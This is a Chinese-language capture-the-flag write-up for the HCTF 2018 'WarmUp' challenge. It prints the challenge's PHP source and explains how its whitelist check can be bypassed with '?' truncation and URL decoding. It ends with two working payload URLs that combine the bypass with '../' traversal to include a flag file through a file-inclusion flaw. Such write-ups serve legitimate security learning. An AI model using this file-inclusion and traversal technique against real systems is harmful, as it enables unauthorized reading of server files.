[HCTF 2018]WarmUp

打开页面 映入眼帘的是一个滑稽图片,直接F12查看源码

看到提示source.php

发现hint.php 打开看到提示,flag在ffffllllaaaagggg

分析一下源码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {//白名单列表
            $whitelist =
             ["source"=>"source.php","hint"=>"hint.php"];
 //isset()判断变量是否声明 is_string()判断变量是否是字符串 
            if (! isset($page) || !is_string($page))
                //如果变量声明且为字符串才不会判别为真
            {
                echo "you can't see it";
                return false;
            }//不返回值

            if (in_array($page, $whitelist)) {
                return true;
            }//白名单判断,是hint或source返回真
/*
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
mb_strpos (haystack ,needle )
haystack:要被检查的字符串。
needle:要搜索的字符串
*/
            //?截断   截取page变量从开头到?
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }//白名单检查

            $_page = urldecode($page);//url解码
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//二次截断
            if (in_array($_page, $whitelist)) {
                return true;
            }//第三次白名单检查
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

需要满足经过两次?截断后仍能通过白名单检查,并且include正确路径,才输出flag。

构建payload: http://d0603608-af1b-437f-a6e5-f0b486c0117d.node3.buuoj.cn/source.php?file=hint.php?../../../../../../../../ffffllllaaaagggg

解释一下这段payload,checkfile检测传入的file的值,将file赋给page变量,首先白名单检测hint.php在白名单内返回真。

然后?截断在第一次截断的时候将file中的hint.php?../../../../../../../../ffffllllaaaagggg截断为hint.php并顺利通过第二次白名单检测。

接着是一次url解码,将page变量进行一次url解码。

注意

mb_strpos($_page . '?', '?')

这段代码,“$_page . '?',”,中的那个.是一个连接符,相当于在__page变量后加上一个?。于是这次同样截断剩下hint.php再次顺利通过白名单检测。最后满足3个if条件执行include语句。在包含的时候会把hint.php?/当成一层目录,然后构造../../向上遍历找到flag。

因为白名单有两个字符串所以把file里面的hint换成source也是一样能拿到flag。

http://d0603608-af1b-437f-a6e5-f0b486c0117d.node3.buuoj.cn/source.php?file=source.php?../../../../../../../../ffffllllaaaagggg可以达到相同的效果。

 

 

 

posted @ 2020-11-07 21:57  陈先z  阅读(719)  评论(0编辑  收藏  举报